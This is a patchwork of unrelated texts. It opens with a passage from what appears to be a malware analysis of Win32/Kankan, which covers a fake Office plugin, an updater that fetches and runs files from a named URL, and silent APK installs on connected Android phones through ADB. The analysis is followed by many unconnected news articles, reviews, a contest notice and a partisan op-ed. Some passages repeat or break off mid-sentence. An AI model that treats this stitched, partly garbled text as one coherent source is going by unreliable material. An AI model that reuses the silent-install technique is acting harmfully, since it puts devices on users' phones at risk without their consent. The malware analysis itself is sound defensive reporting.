If all the previous checks are passed, the plugin sends various information to the StatServer, notably the Windows version and the application name (WINWORD.exe for example), and then executes INPEnhUD.exe.
Finally, it enters a task management loop, which we will describe later, since these tasks are furnished by another piece of the puzzle.
Updater
So execution is continued by INPEnhUD.exe, which can be tersely described as an updater. In particular, it fetches the hard coded URL update.kklm.n0808.com/officeaddinupdate.xml, of which the current state can be seen below.
This XML file thus contains a list of file URLs with MD5 hashes. The updater then downloads each file, verifies the hash and, if it corresponds, executes it.
The attentive reader should have noticed that the URL in the previous image points to a program named Uninstall.exe, which is something we will explain later. Finally, the updater executes the third dropped file, INPEnhSvc.exe.
Service
INPEnhSvc.exe, which will be called ‘the service’ in the following text, is the core of this three-program architecture. After performing the same test for analysis tools as we saw in the Office plugin, the service fetches an XML configuration file that can contain seven commands, each of them with a number of parameters. These commands can be divided into two groups:
local commands: scanreg, scandesktop, scanfavorites
outsourced commands: installpcapp, installphoneapp, setdesktopshortcut, addfavorites, setiestartpage
As the name implies, the local commands are implemented in the service itself: scanreg looks for a specific registry key and reports its presence or absence to the StatServer, whereas scandesktop and scanfavorites search for shortcut files (.lnk extension) and network link files (.url) respectively in the Desktop and Favorites folders.
On the other hand, when an outsourced command is received the program communicates with the Office plugin, which is the one responsible for executing it. This communication passes through a configuration file named tasklist.ini that contains three different sections: Doing, Done and DoneByDate. Also, both binaries contain a list of unique identifiers (GUIDs), each of them being associated with a task. More precisely, the communication process is as follows:
When it receives an outsourced command, the service simply writes the associated GUID in the section Doing with its parameters (URLs, …).
During its task management loop the Office plugin reads the GUID, then checks that this GUID is not present in sections Done and DoneByDate of the file tasklist.ini. If the GUID is only in section Doing, it executes the associated program logic.
Once finished, the Office plugin writes the GUID in the section Done. Moreover, the GUIDs for the commands installpcapp and installphoneapp are also written in the section DoneByDate. This is probably done in order to re-execute regularly these commands.
The whole architecture is summarized below, with blue rectangles representing processes, and yellow ones representing files.
The names of the outsourced commands are self-explanatory and no more details are necessary, except of course for the surprising installphoneapp command.
Phone Applications
As the name implies, the command installphoneapp makes the Office plugin download an Android application (an APK file), which is then installed on any Android devices connected to the computer. In order to do so, the service first downloads the Android Debug Bridge (ADB) binary – which is part of the Android SDK – plus the libraries this program needs. Next, the Office plugin downloads the APK files whose URLs were provided in the XML commands file. Finally, it lists the Android devices connected to the computer with the ADB command devices, and then installs on each of them the APKs with the command install.
Nevertheless, this installation will only work if the Android device has USB debugging enabled, which can be done in the phone settings menu. Officially this feature is intended for development purposes only, but it is also commonly needed by certain types of applications (like screenshots app), and by most techniques to root Android phones or install custom ROMs. It is worth noticing that with this installation method the user will not see the usual Android permission screen on his phone. In other words, the applications will be silently installed on any connected Android phone with USB debugging enabled.
During our investigation, the Android applications were no longer being downloaded, for reasons that will become clear at the end of this post, but we were able to find four of them on some Chinese security forums. The main screen of these applications can be seen below.
According to our analysis, all these applications provide real features to the user. Three of them are Android markets, which allow the user to download various applications onto his phone. We were not able to find any clearly malicious features in these applications. It is still worth noticing, though, that their code is heavily obfuscated.
The last one, still available on Google Play at the time of writing, allows the user to make phone calls at so-called advantageous rates. Nevertheless, it exhibits some suspicious features, like regular contacts with URLs known to distribute adware for Android phones. This application is detected by ESET as a variant of Android/SMSreg.BT, which is a Potentially Unsafe Application.
Overall, the motivation behind the installation of these particular mobile applications remains unknown.
Epilogue: Xunlei Networking Technologies’ confession
The final question we have to address is the role of Xunlei Networking Technologies. Not only were the binaries signed with their certificate, but the domain kankan.com, whose subdomain is used as StatServer, corresponds to the company’s video-on-demand service. So there is little doubt about the company’s implication in the production of this piece of software.
In last August, in reaction to the users’ complaints, the company officially admitted during a press conference that some of their employees have used the company resources to create and distribute this program. The company’s explanation is that it was made by one of their subdivisions, without the company’s agreement. They claimed to have fired the people responsible, and apologized publicly.
This is in accordance with the fact that an uninstaller – signed by the very same company – has been provided since the beginning of August. In particular, any infected computer will download it, thanks to the updater. According to our analysis, the uninstallation works correctly, and removes all the program’s artifacts. Moreover, all the domain names still up are just doing the minimal work necessary in order to allow the uninstaller to execute. The end of Kankan’s distribution can also be verified with the daily number of detections by ESET during August and September, which is shown below.
We can observe that the software propagation has strongly decreased after a peak around the 8th August (the uninstaller has been signed the 9th of August). Finally, the geographical distribution of the infections for the last month is presented below, thanks to the ESET VirusRadar system.
Without surprise, China has been the only country significantly touched by this piece of software.
Conclusion
The use of a fake Office plugin to gain persistence, the ability to silently install Android applications, and the backdoor functionalities, confirm the validity of the concerns of Chinese users and explains why ESET detects this program as malicious, under the name Win32/Kankan.
There are still some open questions, like the original infection vector and the exact reason the Android applications were installed. Finally, the degree to which Xunlei Networking Technologies were implicated is hard to tell from the outside. On a side note it is surprising to remark that, as far as we know, not one non-Chinese website has ever mentioned this story.
Acknowledgments
Thanks to Jean-Ian Boutin, Sieng Chye Oh and Alexis Dorais-Joncas for their help while analyzing this malware.
Analyzed Files:
Dropper
A059D6851013523CDC052A03A91D71D3246A14C2
DB59E003D9F5EBF84EB895B2EE7832AF94D0C93E
722773145CB38249E96CC6A7F0FBC7955ACC5D56
Office plugin
688B5B319F0E2F5DCD2EDE7BBE39FAE29B5ED83F
B221B71CF14E14FEBC4636DE624A2C6CEE3CE725
089A3BB51C5D5218DF47831489F1D8227E73F4B3
Updater
1EFD454130A658DB83A171A8DCB944CAEADC8D8F
4F29B2A9778C02F6FDB63F9041DC4D2F4668B484
Service
1C223DA59F4BE7907A2FB00FF756083342166A5B
2D00B2DF8B1CEE7411B2D7B8201B382E2896708C
Android Applications
A439B1EA45769EC2FA0EFC4098EC263662EF40AE (market)
693E15A00B4934EE21A6423DE62C4A01947CE06A (market)
0A1813FB3D1DD8B871D0575B15124543FF2313E1 (market)
C6013DE01EC260DC5584FAA2A35EF0580B3BDC89 (phone calls)Two weeks ago, the Obama administration was poised again to take executive action in an election year to ease deportations of undocumented immigrants. Today, that plan may be increasingly fraught with complications.
In recent weeks, a tide of young, unaccompanied minors crossing the Texas border illegally has pushed the US immigration system to its breaking point. Unable to cope with the volume of children crossing the border without their parents, immigration authorities have had to find emergency solutions, such as housing thousands in a San Antonio Air Force base, a California Navy base, and a makeshift detention center in Nogales, Ariz.
The Associated Press reported that the Nogales warehouse was running out of supplies.
The Obama administration has linked the trend to unrest in Central American countries, but Republican critics say an executive action that the president took in 2012 is to blame, calling the situation "an administration-made disaster."
President Obama delayed rolling out new deportation reforms in late May partly because did didn't want to further anger Republicans who accuse him of unconstitutionally bypassing Congress to set immigration policy. Now, if he proceeds, he will have to fend off fresh claims that the very policies he has set have pushed the country into crisis.
At issue is Mr. Obama's Deferred Action for Childhood Arrivals (DACA), which in 2012 allowed some undocumented immigrants who came to America as minors to defer deportation for two years. Last week, the administration announced guidelines for how these immigrants could defer deportation for a further two years.
DACA would not apply to anyone coming across the border today. Only undocumented immigrants who were brought to the US as minors before June 15, 2007, are eligible. But to Republican critics, DACA created the opportunity for misinformation and confusion.
"Word has gotten out around the world about President Obama's lax immigration enforcement policies and it has encouraged more individuals to come to the United States illegally," said Rep. Bob Goodlatte (R) of Virginia, a key broker in immigration reform efforts on Capitol Hill, in a statement last week.
The numbers are stark.
During the decade preceding fiscal year 2012, the federal government agency tasked with caring for unaccompanied minors who cross the border illegally dealt with an average of 7,000 to 8,000 cases a year, according to a Department of Health and Human Services fact sheet. In fiscal year 2011, the number was 6,560.
The following year, however, the number jumped to 13,625. This fiscal year, which ends Sept. 30, 2014, federal officials are estimating that the number could be 80,000, according to an internal memo cited by The New York Times.
Obama called the situation a "humanitarian crisis" Monday. Poverty and violence are driving the migration, administration officials say, and activists working with migrants agree. But some also suggest that DACA could be a factor.
Tania Chavez of La Union del Pueblo Entero told KRGV-TV of the Rio Grande Valley that the "coyote" smugglers who bring Central Americans to the US illegally may be telling people that children can take advantage of the program and find work in the United States.
Indeed, media reports have indicated that many of the migrants are coming because they believe children will not be deported. "They're saying that women and children are allowed to stay," a recently detained undocumented immigrant from Guatemala told Monitor correspondent Lourdes Medrano in Tucson, Ariz., Thursday.
The president is facing pressure from his political base to take new executive action on deportations. One heckler in San Francisco yelled at him during a speech last November: "You have a power to stop deportation for all undocumented immigrants in this country." The crowd chanted: "Stop deportations! Yes we can!"
The issue is politically significant, because many Democratic-leaning groups – including Latinos – tend to skip midterm elections, and Republicans are poised to retake the Senate. If Democratic turnout is bad this November, Obama could face a Republican-held Senate and House during his final two years in office.
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In 2012, DACA was seen partly as a move to get out the vote for Obama's presidential election. This year's deportation reforms would seem to be, at least in part, an attempt to do the same for key Senate races.
But with Republicans casting Obama as an imperial president – most recently running roughshod over Congress in the Bowe Bergdahl prisoner swap – the deportation reforms could confirm that claim for some Republican voters. And with Republicans in Congress arguing that the crisis on the border offers compelling evidence of damage, Obama faces a new question: Might he motivate the wrong voters in November?At a campaign rally in Florida on Saturday, incredibly Kellyanne Conway recently made repeated references to a “massacre” at Bowling Green that never actually happened. Sean Spicer similarly pointed several times to a terrorist attack in Atlanta that didn’t occur. So perhaps it was inevitable that Donald Trump, fresh off his bizarre claims about U.S. murder rates that exist only in his imagination, would point to a Swedish incident with no basis in reality.At a campaign rally in Florida on Saturday, incredibly the first official event of the 2020 presidential election cycle, the Republican president told a group of supporters:
“Here’s the bottom line. We’ve got to keep our country safe. You look at what’s happening. We’ve got to keep our country safe. You look at what’s happening in Germany, you look at what’s happening last night in Sweden. Sweden, who would believe this? Sweden.”
If it makes Sweden feel any better, many Americans often have no idea what Trump is saying, either.
But the events “last night in Sweden” were really just the tip of a truly ridiculous iceberg. The president, speaking to a
“When the media lies to people, I will never, ever let them get away with it,” he declared. Trump was less clear on what’s supposed to happen when
But arguably more interesting than the speech itself – which was really more of a retread of stale rhetoric held over from 2016 – was the fact that this rally was scheduled in the first place.
It’s likely that no one would believe this because there were no security incidents in Sweden on Friday night. In fact, Swedish officials, asked what in the world the U.S. president might have been referring to, seemed baffled. (The bizarre comments were the result of something Trump saw on Fox News the night before. If only he had some federal agencies that might help keep him informed about international events, the president might be better informed. Oh wait, he does.)If it makes Sweden feel any better, many Americans often have no idea what Trump is saying, either.But the events “last night in Sweden” were really just the tip of a truly ridiculous iceberg. The president, speaking to a smaller-than-expected crowd – I assume the White House will soon insist it was the largest campaign rally in the history of Western civilization – seemed eager to paint a picture of an alternate reality in which the Obama administration did no vetting of refugees; the Trump White House is “running so smoothly”; and he “inherited one big mess.”“When the media lies to people, I will never, ever let them get away with it,” he declared. Trump was less clear on what’s supposed to happen when he lies to people, even while reading from his trusted Teleprompter.But arguably more interesting than the speech itself – which was really more of a retread of stale rhetoric held over from 2016 – was the fact that this rally was scheduled in the first place.The real TT-30 was developed in the early 1930's by Fedor Tokarev, and was designed to be the issued service pistol for the Soviet Military. After its initial release and trials, some slight changes were made to it's design to help simplify the manufacturing and production process, and the TT-33 was born. The TT-33 was put through its trials and used by Soviet officers and troops during the second World War, and still remains a very popular Soviet pistol model.
KWA is a well known airsoft manufacturer that has been creating high quality airsoft guns for some time. From airsoft electric guns to gas blow back airsoft guns, Engineered to Outperform, defines the quality of their products. Externally, the material they use is designed to withhold a serious amount of stress giving the gun the utmost durability. Internally, the parts used in their airsoft guns are matched to the highest degree for the smoothest operation over long periods of operation. Overall, their product truly performs on the field, KWA products stick to their motto, Engineered to Outperform.
KWA has done an incredible job transitioning the TT-33's rich history into the airsoft market. The gun features a full metal slide and frame, giving it a very realistic feel, and making the gun extremely durable overall. The lightly textured grip provides a solid feel when held, and between the subdued markings and serial number, and the CCCP Star emblem on both sides of the grip panels, the KWA Full Metal TT-33 NS2 GBB has an authentic appearance and feel that is sure to please both players and collectors alike.
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Please Note:Rescue in Denmark Most individuals in occupied Europe did not actively collaborate in the Nazi genocide. Nor did they do anything to help Jews and other victims of Nazi policies. Throughout the Holocaust, millions of people silently stood by while they saw Jews, Roma (Gypsies), and other "enemies of the Reich" being rounded up and deported. Many of these bystanders told themselves that what they saw happening was none of their business. Others were too frightened to help. In many places, providing shelter to Jews was a crime punishable by death.
In spite of the risks, a small number of individuals refused to stand by and watch.These people had the courage to help by providing hiding places, underground escape routes, false papers, food, clothing, money, and sometimes even weapons.
Denmark was the only occupied country that actively resisted the Nazi regime's attempts to deport its Jewish citizens. On September 28, 1943, Georg Ferdinand Duckwitz, a German diplomat, secretly informed the Danish resistance that the Nazis were planning to deport the Danish Jews. The Danes responded quickly, organizing a nationwide effort to smuggle the Jews by sea to neutral Sweden. Warned of the German plans, Jews began to leave Copenhagen, where most of the almost 8,000 Jews in Denmark lived, and other cities, by train, car, and on foot. With the help of the Danish people, they found hiding places in homes, hospitals, and churches. Within a two-week period fishermen helped ferry some 7,200 Danish Jews and 680 non-Jewish family members to safety across the narrow body of water separating Denmark from Sweden.
The Danish rescue effort was unique because it was nationwide. It was not completely successful, however. Almost 500 Danish Jews were deported to the Theresienstadt ghetto in Czechoslovakia. Yet even of these Jews, all but 51 survived the Holocaust, largely because Danish officials pressured the Germans with their concerns for the well-being of those who had been deported. The Danes proved that widespread support for Jews and resistance to Nazi policies could save lives.
There are numerous stories of brave people in other countries who also tried to save the Jews from perishing at the hands of the Nazis. Nearly 12,000 Jewish children were rescued by clergymen in France who found housing for them and even smuggled some into Switzerland and Spain. About 20,000 Polish Jews were able to survive in hiding outside the ghetto in Warsaw because people provided shelter for them in their homes. Some Jews were even hidden in the Warsaw Zoo by the zoo's director, Jan Zabinski.
Key Dates
August 29, 1943
Danish government resigns
The Germans occupied Denmark on April 9, 1940. The Danes and the Germans reached an agreement in which the Danish government and army remained in existence. Despite the occupation, the Germans did not initiate deportations from Denmark. In the summer of 1943, with Allied military advances, resistance activity in Denmark increases in the form of sabotage and strikes. These actions, however, cause tension between the occupying German forces and the Danish government. In August 1943, the Germans present the Danish government with new demands to end resistance activities. The Danish government refuses to meet the new demands and resigns, after three years of German occupation. The Germans take over the administration of Denmark and attempt to implement the "Final Solution" by arresting and deporting Jews. The Danes respond with a nationwide rescue operation.
October 2, 1943
Sweden offers asylum to Jews of Denmark
In a report to German officials in Berlin, the Swedish government offers asylum to some 7,000 Jews in Denmark. At the end of September 1943, the German plan to arrest and deport Danish Jews is leaked to Danish authorities who warn the Jewish population in Denmark and urge them to go into hiding. In response, the Danish underground and general population spontaneously organize a nationwide effort to smuggle Jews to the coast where Danish fisherman ferry them to Sweden. In little more than three weeks, the Danes ferry more than 7,000 Jews and close to 700 of their non-Jewish relatives to Sweden. Despite the Danish efforts, some 500 Jews are arrested by the Germans and deported to Theresienstadt ghetto.
June 23, 1944
Danish delegation visits Theresienstadt
A Danish delegation joins representatives of the International Red Cross on a visit to the Theresienstadt ghetto in Bohemia. To deceive both these visitors and world opinion about Nazi treatment of the Jews, the SS beautifies the ghetto and creates the impression that Theresienstadt is a self-governing Jewish settlement. Unlike other prisoners in Theresienstadt, the 500 Danish prisoners there are not deported to concentration camps and are permitted to receive parcels from the Red Cross. On April 15, 1945, the Danish prisoners are released from the ghetto into the hands of the Swedish Red Cross. This is a result of negotiations between Swedish government |
under the influence. One flashback makes three appearances. A fight scene with no dreamlike elements, apart from a sky tinted red in post-production, repeatedly appears as a dream sequence. A chunk of Hex’s origin is told by way of animation for no apparent reason. Narration comes and goes. Whole elements, like Hex’s supernatural powers and Megan Fox’s prostitute-in-distress, could disappear without anyone noticing. And that’s without even mentioning the Native American village that shows up at random. Or the CGI crows. Or the acid-spitting snake-man. (One element that occasionally gives the illusion of coherence: a neat spaghetti-metal score. But even that was cobbled together from separate work by Marco Beltrami and Mastodon.) Jonah Hex is what happens when someone promises to deliver a releasable movie by a certain date, and then doesn’t.MSNBC host Joy Reid wrote a dozen blog posts from 2007-2009 containing offensive homophobic remarks and anti-gay jokes.
The old blog posts ─ unearthed by a Twitter user and reported by Mediaite ─ targeted former Florida Gov. Charlie Crist, whom Reid mocked as “Miss Charlie” for being gay and closeted even though there was never any proof that he was. The posts fanned rumors of Crist's sexual orientation and his political opponents tried to tar him with the gossip during his governorship -- when he was a Republican.
The controversial host apologized Sunday for the posts.
“This note is my apology to all who are disappointed by the content of blogs I wrote a decade ago, for which my choice of words and tone have legitimately been criticized,” Reid said in a statement to Fox News.
“As a writer, I pride myself on a facility with language ─ an economy of words or at least some wisdom in the selection,” she said. “However, that clearly has not always been the case.”
Mediaite reported it was able to retrieve the posts from Reid’s blog, which no longer exists, through an online archiving service.
“Miss Charlie, Miss Charlie, Stop pretending, brother,” Reid wrote in a 2007 post, according to the media outlet. “It’s okay that you don’t go for the ladies."
In another, the “AM Joy” host wrote, “Now that he’s married to a girl, Charlie Crist is being sought out for all KINDS of good stuff… [The GOP] are wooing Miss Charlie to run.”
In a Dec. 12, 2008, post, Reid belittled Crist as dreading physical relations with his wife on their honeymoom.
“I can just see poor Charlie on the honeymoon, ogling the male waiters and thinking to himself, ‘god, do I actually have to see her naked…?'” she wrote.
The same blog post included a joke about Crist having sex with Sen. John McCain, R-Ariz., Mediaite reported. "Get your mind out of the gutter," she joked.
Reid commented in the blog that the reason the former Florida governor got married to another woman in the first place was to help him become McCain’s 2008 running mate.
Mediaite counted 17 times Reid derisively referred to Crist as “Miss Charlie.” The subject led her to opine on why gay men stay in the closet.
“When a gay politician gets married, it usually indicates that he is highly ambitious, and desires to put himself in a position to move up the power ladder,” she wrote.
She further mocked Crist with tags “gay politicians” and “not gay politicians.”
In her statement, Reid said her blog posts were written at the time when Crist was a a conservative Republican, whose positions on issues like gay marriage and adoption by same-sex couples in Florida shared headlines with widely rumored reports that he was hiding his sexual orientation.
“Those reports were the subject of lots of scrutiny,” she said.
“Let me be clear: at no time have I intentionally sought to demean or harm the LGBT community, which includes people whom I deeply love,” she said. “My goal, in my ham-handed way, was to call out potential hypocrisy.”
She added, “Nonetheless, as someone who is not a member of the LGBT community, I regret the way I addressed the complex issue of the closet and speculation on a person’s sexual orientation with a mocking tone and sarcasm. It was insensitive, tone deaf and dumb.”
She also apologized to Crist, who she said was the target of her “thoughtlessness.” Crist ultimately left the Republican party, joining the Democrats in 2012.
Reid drew fire in June for criticizing House Majority Whip Steve Scalise, R-La., after he was shot in the hip by a gunman targeting Republican members of Congress.
She claimed his record on race was being ignored as a result of the shooting.
Click for link to Reid's old blog.New Delhi: Actor Vidya Balan today voiced her opinion on the controversy over playing the national anthem in theatres, saying patriotism cannot be forced. “I don’t think the national anthem should be played before the films. You are not in school where you start the day with the national anthem,” said Balan, while speaking at an event here.
“So I’m personally of the opinion that the national anthem should not be played. You cannot force patriotism,” she said. Balan said that she loves her country and would go to any length to defend it. “… But I don’t need to be told. When I hear the national anthem, I stand up wherever I am,” she said.
The actor, who is one of the board members of the Central Board of Film Certification (CBFC), said she saw the opportunity to bring about a change when she was asked to join the board. “The entire film industry was feeling a certain way with the previous censor board. And then, when I was asked whether I’d be able to be on the censor board, I thought this as an opportunity to bring about change,” she said. “So, unless I agree to be part of that change or at least attempt to be part of it, I can’t criticise it anymore. Which is why I said ‘ok’,” she added.
According to the national-award winner, the board members are “on the same page and looking ahead”. “I don’t want to give it a particular tag and say ‘Sanskari, Un-sanskari, forward,” she added. On the controversy surrounding “Mersal”, Balan said a film was “either someone’s imagination or interpretation” and it should not be seen as making a political statement. “Once the CBFC has cleared the film, it should be allowed to be seen the way it has been cleared. If there are any issues, they should have been brought up before,” she said at the ongoing Penguin Fever here.Looking for news you can trust?
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Update: The New York Post briefly interviewed Angela Chen who said she “was ‘not comfortable’ commenting on her purchase and how it could potentially help her business.”
Last week, Donald Trump’s company sealed its first big post-inaugural real estate transaction, selling a $15.8 million penthouse to a Chinese-American business executive who runs a company that touts its ability to exploit connections with powerful people to broker business deals in China.
New York City property records show that Xiao Yan Chen, the founder and managing director of a business consulting firm called Global Alliance Associates, purchased the four-bedroom, six-bathroom condo in Trump’s Park Avenue high-rise on February 21. Before taking office, Trump signed documents removing himself from the board of directors of Trump Park Avenue LLC, the entity that sold the unit, but he remains the LLC’s owner.
Chen, who also goes by Angela Chen, did not return multiple calls and emails requesting comment. Her company bills itself as a “boutique business relationship consultancy” for US firms seeking to do business in China. “For a select clientele,” the firm says that it “facilitates the right strategic relationships with the most prominent public and private decision makers in China.”
“As counselors in consummating the right relationships—quite simply—we provide access,” the company’s website claims. “Establishing a network of credible and proprietary relationships, known by the Chinese as ‘ghanxi,’ is the single most important aspect of initiating and sustaining a successful business venture in China.” A connection with Trump—even a fleeting one—could only help in the ghanxi department.
According to Chen’s bio on the Global Alliance website, she previously worked for Prudential Insurance, helping the company establish a private banking group in China, where she “developed and managed the Group’s high net worth private client base.” Before that, Chen’s biography says she worked at Merrill Lynch, where she ran the China Futures Trading Desk and counted as clients numerous state-owned companies, such as Sinochem, Ocean Shipping Group, and China National Nonferrous Metals.
Until Chen’s purchase, none of Trump’s major real estate properties had reported any major sales since he became president. The condo was never publicly listed for sale, although Chen lists her current address as a smaller apartment in the Trump Park Avenue building. (It’s unclear whether she owns that unit, which was last purchased in 2004 by an entity called Lancer Trust.)
According to Zillow.com, the penthouse unit Chen purchased last week has an estimated value of $14.3 million. Other penthouse units in the building have sold for comparable sums. One fetched $21 million.
The sale agreement for Chen’s penthouse was signed by Allen Weisselberg, the Trump Organization’s chief financial officer, whom Trump tapped to serve along with his sons on the three-person panel that will run his company while he serves as president. Weisselberg and a lawyer for Chen did not respond to requests for comment.News
Black voters are turning from Clinton to Trump in new poll
Donald Trump is gaining support among African-American voters — whose enthusiasm for Hillary Clinton is eroding, a tracking poll released Saturday revealed.
Trump saw a 16.5 percentage-point increase in backing from African-American voters in a Los Angeles Times/University of Southern California tracking poll, up from 3.1 percent on Sept. 10 to 19.6 percent through Friday.
Meanwhile, the same poll showed Clinton’s support among that group plummeting from 90.4 percent on Sept. 10 to 71.4 percent.
Clinton’s nearly 20-point crash began Sunday, said Dan Schnur of USC. Sunday was the day Clinton was recorded collapsing while entering a Secret Service van at a 9/11 event.
The survey, which spanned through Friday, included the days in which Trump reignited the divisive “birther” issue — which critics contend is a thinly veiled attempt to undermine the legitimacy of the country’s first black president.
Late Wednesday, Trump had refused to acknowledge that President Obama was born in the United States, demurring on the topic in a Washington Post interview published the next day.
But at a bizarre press conference at Trump International, his new hotel in Washington, DC, on Friday, the tycoon conceded, “President Barack Obama was born in the United States, period.”
For the week, the poll found a 6-point rise for Trump. The Republican is now at 47.2 percent of the vote to Clinton’s 41.2 percent.
“It’s the largest shift we’ve seen in a one-week period since we began polling in July,” Schnur said.Roma defender Kostas Manolas has been a long-time target for Arsenal.
The football world's gossip mill is in full swing, and Transfer Talk is monitoring the whispers ahead of all the summer moves. Check out the latest deals here.
Inter beat Arsenal to Manolas
Inter Milan have reportedly won the race to sign Roma star Kostas Manolas, Telelombardia reported, with the Nerazzurri agreeing a fee of £36.9 million (€43m) plus bonuses.
The 26-year-old has been followed by Arsenal and Chelsea, with the Gunners failing with a bid for the Greece international last summer.
Having reportedly rejected any possible extension on his current deal, which ends in 2019, Roma will cash in on Manolas.
A hefty profit of €30 million on the former Olympiakos star means the Lupi will be able to overhaul the rest of their squad, potentially under a new director of football in ex-Sevilla man Monchi.
Hammers want Liverpool winger
West Ham will make a play for Liverpool winger Lazar Markovic, the Mail claimed, with the Serbian impressing on loan at Hull.
The 23-year-old struggled to make an impact at Anfield, but the Hammers could offer him a permanent move away this summer for £16 million.
The Reds forked out £21.25 million in 2014 to bring him over from Benfica and will see the previous figure as a relative success, given his ineffective performances in his brief stay.
Slaven Bilic is making moves ahead of what looks like a busy summer, with talks to lure Pablo Zabaleta to the London Stadium on a free transfer apparently already underway.
Real table bid for Atleti star
Manchester City are keen on Atletico Madrid defender Theo Hernandez, but the Mail reported that Real Madrid have moved to the front of the queue by making a £20 million offer.
That sum matches the 19-year-old's buyout clause, and a six-year contract will be placed on the table to persuade him to cross town.
After a sensational loan spell at Alaves, Theo, who can play centre-back as well as left-back, has caught the eye of Pep Guardiola ahead of a potential summer move.
Liverpool were interested too, but Real are determined to get their man and recruit top class cover for Marcelo.
Pep turns to Gaya
With Theo appearing more likely to join Los Blancos, the Star claimed Guardiola could move for Valencia full-back Jose Luis Gaya.
Los Che would receive Eliaquim Mangala, who is recapturing his form and confidence at the Mestalla on loan, in the opposite direction.
Left-back has become a problem position for Guardiola, with neither Gael Clichy nor Aleksandar Kolarov able to prove entirely dependable.
Valencia value the 19-year-old at £30 million, but City want to use Mangala to knock the price down.
Tap-ins
-- Torino are eyeing a "golden partnership" by signing Giuseppe Rossi to play alongside Andrea Belotti, Gianluca Di Marzio claimed.
"Pepito" is currently thriving on loan at Celta Vigo, where he scored a hat trick last weekend against Las Palmas, and he will become a free agent this summer when his Fiorentina contract expires.
-- Everton have joined in the chase for Besiktas star Anderson Talisca, the Express claimed, with Liverpool and Man United also thought to be interested.
Still only on loan from Benfica, the 23-year-old's buyout clause of £21 million might be triggered by Jose Mourinho after he shined in the Super Lig.Now Accepting Submissions For The Fifth Annual Saxxy Awards!
The submission window for The Fifth Annual Saxxy Awards is open! As we mentioned before, the submission process has changed, so upload your videos to YouTube and head over to your videos page on Steam Community and associate your videos with The 5th Annual Saxxy Awards. The final deadline is Wednesday, November 11th, 3:00PM PST, but as always, we strongly encourage you to submit early, to avoid last-minute network or computer problems preventing your submission from being entered into the contest, and to give you a chance to review your submission and make any last-minute changes.
Once you've submitted your video, you'll need to add it to the appropriate categories by updating the tags associated with the video. Don't forget that entries up to a minute should be tagged as Short, entries up to three minutes should be tagged with Action, Comedy and/or Drama, and entries over three minutes should only be tagged as Extended.
Don't forget to provide links to any music or other IP that your entry uses, and add your co-authors as contributors. Lastly, make sure that your submitted video is publicly visible, allows embedding, and is free of advertisements. We've updated the guidelines with more details on all of these requirements, so if you have any questions, check there first. If you have further questions, the SFM Steam Community is filled with many experienced SFM users and Saxxy contributors who may be able to help.
We can't wait to see what you've all been working on, so start those submissions coming!
Update: If you have links embedded in your videos using YouTube annotations or cards, please remove them before voting starts on Wednesday, November 11th. These embedded links are advertising those videos or channels, and aren't allowed in submitted videos. Links are allowed in the description of your video, so if you want to thank contributors or give viewers a way to find you online, that's where to put them.Donald Trump is a man of many notable qualities. He is ignorant and a brute. He has bragged about sexually assaulting women by grabbing them by their genitals. He is a serial womanizer and has been divorced several times. He has also admitted to finding his own daughter sexually attractive. He is a serial liar who adores autocrats and dictators. He may even have gone so far as to collude with Russia and Vladimir Putin to steal the 2016 presidential election. Trump is also violent, moody, vain and impulsive. He does not read and is proudly ignorant.
Why would anyone support such a leader? More specifically, why would any supposed "Christian" support Donald Trump, who appears to represent the antithesis of Christian virtues in so many ways?
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Writing at Talking Points Memo, editor Josh Marshall offers the following insights:
But Trump is able to take people of some apparent substance and attainment and destroy them as well. The key though is that he doesn’t destroy them. In his orbit, under some kind of spell, he makes them destroy themselves. It is always a self-destruction. He’s like a black hole. But for this there’s no ready explanation. Because what is the power? The force? I puzzled over this for some time. Eventually I sensed that Trump wasn’t inducing people’s self-destruction so much as he was acting like a divining rod, revealing rot that existed already but was not apparent.... The rot was there but hidden. Trump is the moonlight. Perhaps better to say, to invert our metaphor, Trump is the darkness....
This seems most palpably the case with the political evangelical community with which Trump has maintained, since early in his campaign, a profound and profoundly cynical mutual embrace. Here I use the term advisedly: I don’t mean evangelical Christians or even conservative evangelical Christians but the evangelical right political faction, which is distinct and different. Nothing I have seen before has more clearly revealed this group’s moral rot than the adoration of Trump, an unchurched hedonist with the moral compass of a predator who is lauded and almost worshipped purely and entirely because he produces political deliverables.
Despite his strong words, Marshall does not go far enough. Christian evangelicals ("Dominionists" and Christian nationalists especially) support Trump because he shares their most important values.
Trump and the Republican Party are waging a crusade to take away women's reproductive rights and freedoms.
Trump and the Republican Party want to remove constitutional and other legal barriers that limit the ability of churches and other religious organizations to engage in overt political lobbying while retaining their tax-exempt status.
Trump and the Republican Party want to destroy the social safety net and believe that wealth and money are indicators of human worth and value. A belief in the "prosperity gospel" and a crude form of Calvinism where money and wealth are signs of being among "the elect" and of God's blessing has been endorsed by many Christian evangelical leaders.
Trump and the Republican Party embrace racism and white supremacy. Southern Baptists and other white Christian evangelical faith communities have a long and deep history of racism against people of color -- especially African-Americans.
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There is also a biblical-mythological dimension for why Christian evangelicals support Trump. Many right-wing Christians have convinced themselves that he is a leader in the tradition of Cyrus the Great or King David who, while being deeply flawed, can be used as an instrument of God's will.
There is another factor, rooted in emotion and irrationality, that also helps explain evangelical Christians' support for Donald Trump.
New research published in the Journal of Religion and Health explains it this way:
The studies, based on surveys of more than 900 people, also found some similarities between religious and non-religious people. In both groups the most dogmatic are less adept at analytical thinking, and also less likely to look at issues from other's perspectives.... The results showed religious participants as a whole had a higher level of dogmatism, empathetic concern and prosocial intentions, while the nonreligious performed better on the measure of analytic reasoning. Decreasing empathy among the nonreligious corresponded to increasing dogmatism.
Professor Anthony Jack highlights the implications of this research for American politics: "With all this talk about fake news, the Trump administration, by emotionally resonating with people, appeals to members of its base while ignoring facts."
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Jared Friedman, a co-author of this new research, concludes, "It suggests that religious individuals may cling to certain beliefs, especially those which seem at odds with analytic reasoning, because those beliefs resonate with their moral sentiments."
Christian evangelicals' rejection of empirical reality and their habituation into believing the absurd and the fantastical mates perfectly with the zealotry of the broader American right, which views politics as a form of religious fundamentalism.
Faith, after all, is a matter of believing in that which cannot be proven by normal or empirical means. This definition is a perfect description of both movement conservatism and the Christian right.
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Ultimately, Christian evangelicals and Donald Trump are united in an imperfect marriage because they share mutual goals. This is an unholy alliance and, as such, a perfect emblem of today's Republican Party.[Lightning-dev] Blinded channel observation
